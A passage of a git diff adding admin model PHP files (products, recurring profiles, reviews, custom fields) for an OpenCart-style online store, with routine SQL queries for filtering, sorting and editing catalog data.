+ }
+ }
+ }
+
+ if (isset($data['filter_manufacturer_id']) && !is_null($data['filter_manufacturer_id'])) {
+ $sql .= " AND p.manufacturer_id = '" . (int)$data['filter_manufacturer_id'] . "'";
+ }
+
+ if (!empty($data['filter_price'])) {
+ $sql .= " AND p.price LIKE '" . $this->db->escape($data['filter_price']) . "%'";
+ }
+
+ if (isset($data['filter_price_min']) && !is_null($data['filter_price_min'])) {
+ $sql .= " AND p.price >= '" . (float)$data['filter_price_min'] . "'";
+ }
+
+ if (isset($data['filter_price_max']) && !is_null($data['filter_price_max'])) {
+ $sql .= " AND p.price <= '" . (float)$data['filter_price_max'] . "'";
+ }
+
+ if (isset($data['filter_quantity']) && $data['filter_quantity'] !== '') {
+ $sql .= " AND p.quantity = '" . (int)$data['filter_quantity'] . "'";
+ }
+
+ if (isset($data['filter_quantity_min']) && !is_null($data['filter_quantity_min'])) {
+ $sql .= " AND p.quantity >= '" . (int)$data['filter_quantity_min'] . "'";
+ }
+
+ if (isset($data['filter_quantity_max']) && !is_null($data['filter_quantity_max'])) {
+ $sql .= " AND p.quantity <= '" . (int)$data['filter_quantity_max'] . "'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== '') {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.product_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.model',
+ 'p.price',
+ 'p.quantity',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getProductsByCategoryId($category_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id) LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND p2c.category_id = '" . (int)$category_id . "' ORDER BY pd.name ASC");
+
+ return $query->rows;
+ }
+
+ public function getProductDescriptions($product_id) {
+ $product_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'tag' => $result['tag']
+ );
+ }
+
+ return $product_description_data;
+ }
+
+ public function getProductCategories($product_id) {
+ $product_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_category_data[] = $result['category_id'];
+ }
+
+ return $product_category_data;
+ }
+
+ public function getProductMainCategoryId($product_id) {
+ $query = $this->db->query("SELECT category_id FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND main_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['category_id'] : 0);
+ }
+
+ public function getProductFilters($product_id) {
+ $product_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_filter_data[] = $result['filter_id'];
+ }
+
+ return $product_filter_data;
+ }
+
+ public function getProductAttributes($product_id) {
+ $product_attribute_data = array();
+
+ $product_attribute_query = $this->db->query("SELECT attribute_id FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' GROUP BY attribute_id");
+
+ foreach ($product_attribute_query->rows as $product_attribute) {
+ $product_attribute_description_data = array();
+
+ $product_attribute_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute_description_query->rows as $product_attribute_description) {
+ $product_attribute_description_data[$product_attribute_description['language_id']] = array('text' => $product_attribute_description['text']);
+ }
+
+ $product_attribute_data[] = array(
+ 'attribute_id' => $product_attribute['attribute_id'],
+ 'product_attribute_description' => $product_attribute_description_data
+ );
+ }
+
+ return $product_attribute_data;
+ }
+
+ public function getProductOptions($product_id) {
+ $product_option_data = array();
+
+ $product_option_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option` o ON (po.option_id = o.option_id) LEFT JOIN `" . DB_PREFIX . "option_description` od ON (o.option_id = od.option_id) WHERE po.product_id = '" . (int)$product_id . "' AND od.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY o.sort_order ASC");
+
+ foreach ($product_option_query->rows as $product_option) {
+ $product_option_value_data = array();
+
+ $product_option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON(pov.option_value_id = ov.option_value_id) WHERE pov.product_option_id = '" . (int)$product_option['product_option_id'] . "' ORDER BY ov.sort_order ASC");
+
+ foreach ($product_option_value_query->rows as $product_option_value) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'quantity' => $product_option_value['quantity'],
+ 'subtract' => $product_option_value['subtract'],
+ 'price' => $product_option_value['price'],
+ 'price_prefix' => $product_option_value['price_prefix'],
+ 'points' => $product_option_value['points'],
+ 'points_prefix' => $product_option_value['points_prefix'],
+ 'weight' => $product_option_value['weight'],
+ 'weight_prefix' => $product_option_value['weight_prefix']
+ );
+ }
+
+ $product_option_data[] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $product_option['name'],
+ 'type' => $product_option['type'],
+ 'value' => $product_option['value'],
+ 'required' => $product_option['required']
+ );
+ }
+
+ return $product_option_data;
+ }
+
+ public function getProductOptionValue($product_id, $product_option_value_id) {
+ $query = $this->db->query("SELECT pov.option_value_id, ovd.name, pov.quantity, pov.subtract, pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON (pov.option_value_id = ov.option_value_id) LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE pov.product_id = '" . (int)$product_id . "' AND pov.product_option_value_id = '" . (int)$product_option_value_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getProductImages($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getProductDiscounts($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "' ORDER BY quantity, priority, price");
+
+ return $query->rows;
+ }
+
+ public function getProductSpecials($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "' ORDER BY priority, price");
+
+ return $query->rows;
+ }
+
+ public function getProductRewards($product_id) {
+ $product_reward_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_reward_data[$result['customer_group_id']] = array('points' => $result['points']);
+ }
+
+ return $product_reward_data;
+ }
+
+ public function getProductDownloads($product_id) {
+ $product_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_download_data[] = $result['download_id'];
+ }
+
+ return $product_download_data;
+ }
+
+ public function getProductStores($product_id) {
+ $product_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_store_data[] = $result['store_id'];
+ }
+
+ return $product_store_data;
+ }
+
+ public function getProductSeoUrls($product_id) {
+ $product_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $product_seo_url_data;
+ }
+
+ public function getProductLayouts($product_id) {
+ $product_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $product_layout_data;
+ }
+
+ public function getProductRelated($product_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($product_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getRecurrings($product_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "product_recurring` WHERE product_id = '" . (int)$product_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getTotalProducts($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.product_id) AS total FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id)";
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ $sql .= " LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id)";
+ }
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $sql .= " AND p.model LIKE '%" . $this->db->escape($data['filter_model']) . "%'";
+ }
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ if (!empty($data['filter_category']) && !empty($data['filter_sub_category'])) {
+ $implode_data = array();
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategoriesChildren($data['filter_category']);
+
+ foreach ($categories as $category) {
+ $implode_data[] = "p2c.category_id = '" . (int)$category['category_id'] . "'";
+ }
+
+ $sql .= " AND (" . implode(' OR ', $implode_data) . ")";
+ } else {
+ if ((int)$data['filter_category'] > 0) {
+ $sql .= " AND p2c.category_id = '" . (int)$data['filter_category'] . "'";
+ } else {
+ $sql .= " AND p2c.category_id IS NULL";
+ }
+ }
+ }
+
+ if (isset($data['filter_manufacturer_id']) && !is_null($data['filter_manufacturer_id'])) {
+ $sql .= " AND p.manufacturer_id = '" . (int)$data['filter_manufacturer_id'] . "'";
+ }
+
+ if (isset($data['filter_price']) && !is_null($data['filter_price'])) {
+ $sql .= " AND p.price LIKE '" . $this->db->escape($data['filter_price']) . "%'";
+ }
+
+ if (isset($data['filter_price_min']) && !is_null($data['filter_price_min'])) {
+ $sql .= " AND p.price >= '" . (float)$data['filter_price_min'] . "'";
+ }
+
+ if (isset($data['filter_price_max']) && !is_null($data['filter_price_max'])) {
+ $sql .= " AND p.price <= '" . (float)$data['filter_price_max'] . "'";
+ }
+
+ if (isset($data['filter_quantity']) && $data['filter_quantity'] !== '') {
+ $sql .= " AND p.quantity = '" . (int)$data['filter_quantity'] . "'";
+ }
+
+ if (isset($data['filter_quantity_min']) && !is_null($data['filter_quantity_min'])) {
+ $sql .= " AND p.quantity >= '" . (int)$data['filter_quantity_min'] . "'";
+ }
+
+ if (isset($data['filter_quantity_max']) && !is_null($data['filter_quantity_max'])) {
+ $sql .= " AND p.quantity <= '" . (int)$data['filter_quantity_max'] . "'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== '') {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByTaxClassId($tax_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByStockStatusId($stock_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByWeightClassId($weight_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByLengthClassId($length_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByManufacturerId($manufacturer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByAttributeId($attribute_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_attribute WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByOptionId($option_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_option WHERE option_id = '" . (int)$option_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByProfileId($recurring_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_recurring WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/recurring.php b/public/admin/model/catalog/recurring.php
new file mode 100644
index 0000000..8dbd655
--- /dev/null
+++ b/public/admin/model/catalog/recurring.php
@@ -0,0 +1,108 @@
+db->query("INSERT INTO `" . DB_PREFIX . "recurring` SET `sort_order` = " . (int)$data['sort_order'] . ", `status` = " . (int)$data['status'] . ", `price` = " . (float)$data['price'] . ", `frequency` = '" . $this->db->escape($data['frequency']) . "', `duration` = " . (int)$data['duration'] . ", `cycle` = " . (int)$data['cycle'] . ", `trial_status` = " . (int)$data['trial_status'] . ", `trial_price` = " . (float)$data['trial_price'] . ", `trial_frequency` = '" . $this->db->escape($data['trial_frequency']) . "', `trial_duration` = " . (int)$data['trial_duration'] . ", `trial_cycle` = '" . (int)$data['trial_cycle'] . "'");
+
+ $recurring_id = $this->db->getLastId();
+
+ foreach ($data['recurring_description'] as $language_id => $recurring_description) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "recurring_description` (`recurring_id`, `language_id`, `name`) VALUES (" . (int)$recurring_id . ", " . (int)$language_id . ", '" . $this->db->escape($recurring_description['name']) . "')");
+ }
+
+ return $recurring_id;
+ }
+
+ public function editRecurring($recurring_id, $data) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring_description` WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ $this->db->query("UPDATE `" . DB_PREFIX . "recurring` SET `price` = '" . (float)$data['price'] . "', `frequency` = '" . $this->db->escape($data['frequency']) . "', `duration` = '" . (int)$data['duration'] . "', `cycle` = '" . (int)$data['cycle'] . "', `sort_order` = '" . (int)$data['sort_order'] . "', `status` = '" . (int)$data['status'] . "', `trial_price` = '" . (float)$data['trial_price'] . "', `trial_frequency` = '" . $this->db->escape($data['trial_frequency']) . "', `trial_duration` = '" . (int)$data['trial_duration'] . "', `trial_cycle` = '" . (int)$data['trial_cycle'] . "', `trial_status` = '" . (int)$data['trial_status'] . "' WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ foreach ($data['recurring_description'] as $language_id => $recurring_description) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "recurring_description` (`recurring_id`, `language_id`, `name`) VALUES (" . (int)$recurring_id . ", " . (int)$language_id . ", '" . $this->db->escape($recurring_description['name']) . "')");
+ }
+ }
+
+ public function copyRecurring($recurring_id) {
+ $data = $this->getRecurring($recurring_id);
+
+ $data['recurring_description'] = $this->getRecurringDescription($recurring_id);
+
+ foreach ($data['recurring_description'] as &$recurring_description) {
+ $recurring_description['name'] .= ' - 2';
+ }
+
+ $this->addRecurring($data);
+ }
+
+ public function deleteRecurring($recurring_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring_description` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_recurring` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("UPDATE `" . DB_PREFIX . "order_recurring` SET `recurring_id` = 0 WHERE `recurring_id` = " . (int)$recurring_id . "");
+ }
+
+ public function getRecurring($recurring_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "recurring` WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ return $query->row;
+ }
+
+ public function getRecurringDescription($recurring_id) {
+ $recurring_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "recurring_description` WHERE `recurring_id` = '" . (int)$recurring_id . "'");
+
+ foreach ($query->rows as $result) {
+ $recurring_description_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $recurring_description_data;
+ }
+
+ public function getRecurrings($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "recurring` r LEFT JOIN " . DB_PREFIX . "recurring_description rd ON (r.recurring_id = rd.recurring_id) WHERE rd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND rd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'rd.name',
+ 'r.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY rd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalRecurrings() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "recurring`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/review.php b/public/admin/model/catalog/review.php
new file mode 100644
index 0000000..34eb326
--- /dev/null
+++ b/public/admin/model/catalog/review.php
@@ -0,0 +1,119 @@
+db->query("INSERT INTO " . DB_PREFIX . "review SET author = '" . $this->db->escape($data['author']) . "', product_id = '" . (int)$data['product_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $review_id = $this->db->getLastId();
+
+ $this->cache->delete('product');
+
+ return $review_id;
+ }
+
+ public function editReview($review_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "review SET author = '" . $this->db->escape($data['author']) . "', product_id = '" . (int)$data['product_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE review_id = '" . (int)$review_id . "'");
+
+ $this->cache->delete('product');
+ }
+
+ public function deleteReview($review_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review WHERE review_id = '" . (int)$review_id . "'");
+
+ $this->cache->delete('product');
+ }
+
+ public function getReview($review_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.name FROM " . DB_PREFIX . "product_description pd WHERE pd.product_id = r.product_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS product FROM " . DB_PREFIX . "review r WHERE r.review_id = '" . (int)$review_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.review_id, pd.name, r.author, r.rating, r.status, r.date_added FROM " . DB_PREFIX . "review r LEFT JOIN " . DB_PREFIX . "product_description pd ON (r.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_product'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_product']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.name',
+ 'r.author',
+ 'r.rating',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review r LEFT JOIN " . DB_PREFIX . "product_description pd ON (r.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_product'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_product']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review WHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/custom_field.php b/public/admin/model/customer/custom_field.php
new file mode 100644
index 0000000..37267a7
--- /dev/null
+++ b/public/admin/model/customer/custom_field.php
@@ -0,0 +1,208 @@
+db->query("INSERT INTO `" . DB_PREFIX . "custom_field` SET type = '" . $this->db->escape($data['type']) . "', value = '" . $this->db->escape($data['value']) . "', validation = '" . $this->db->escape($data['validation']) . "', location = '" . $this->db->escape($data['location']) . "', status = '" . (int)$data['status'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $custom_field_id = $this->db->getLastId();
+
+ foreach ($data['custom_field_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['custom_field_customer_group'])) {
+ foreach ($data['custom_field_customer_group'] as $custom_field_customer_group) {
+ if (isset($custom_field_customer_group['customer_group_id'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_customer_group SET custom_field_id = '" . (int)$custom_field_id . "', customer_group_id = '" . (int)$custom_field_customer_group['customer_group_id'] . "', required = '" . (int)(isset($custom_field_customer_group['required']) ? 1 : 0) . "'");
+ }
+ }
+ }
+
+ if (isset($data['custom_field_value'])) {
+ foreach ($data['custom_field_value'] as $custom_field_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+
+ $custom_field_value_id = $this->db->getLastId();
+
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value_id . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_id . "', name = '" . $this->db->escape($custom_field_value_description['name']) . "'");
+ }
+ }
+ }
+
+ return $custom_field_id;
+ }
+
+ public function editCustomField($custom_field_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "custom_field` SET type = '" . $this->db->escape($data['type']) . "', value = '" . $this->db->escape($data['value']) . "', validation = '" . $this->db->escape($data['validation']) . "', location = '" . $this->db->escape($data['location']) . "', status = '" . (int)$data['status'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($data['custom_field_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_customer_group WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ if (isset($data['custom_field_customer_group'])) {
+ foreach ($data['custom_field_customer_group'] as $custom_field_customer_group) {
+ if (isset($custom_field_customer_group['customer_group_id'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_customer_group SET custom_field_id = '" . (int)$custom_field_id . "', customer_group_id = '" . (int)$custom_field_customer_group['customer_group_id'] . "', required = '" . (int)(isset($custom_field_customer_group['required']) ? 1 : 0) . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_value WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_value_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ if (isset($data['custom_field_value'])) {
+ foreach ($data['custom_field_value'] as $custom_field_value) {
+ if ($custom_field_value['custom_field_value_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "', custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+ }
+
+ $custom_field_value_id = $this->db->getLastId();
+
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
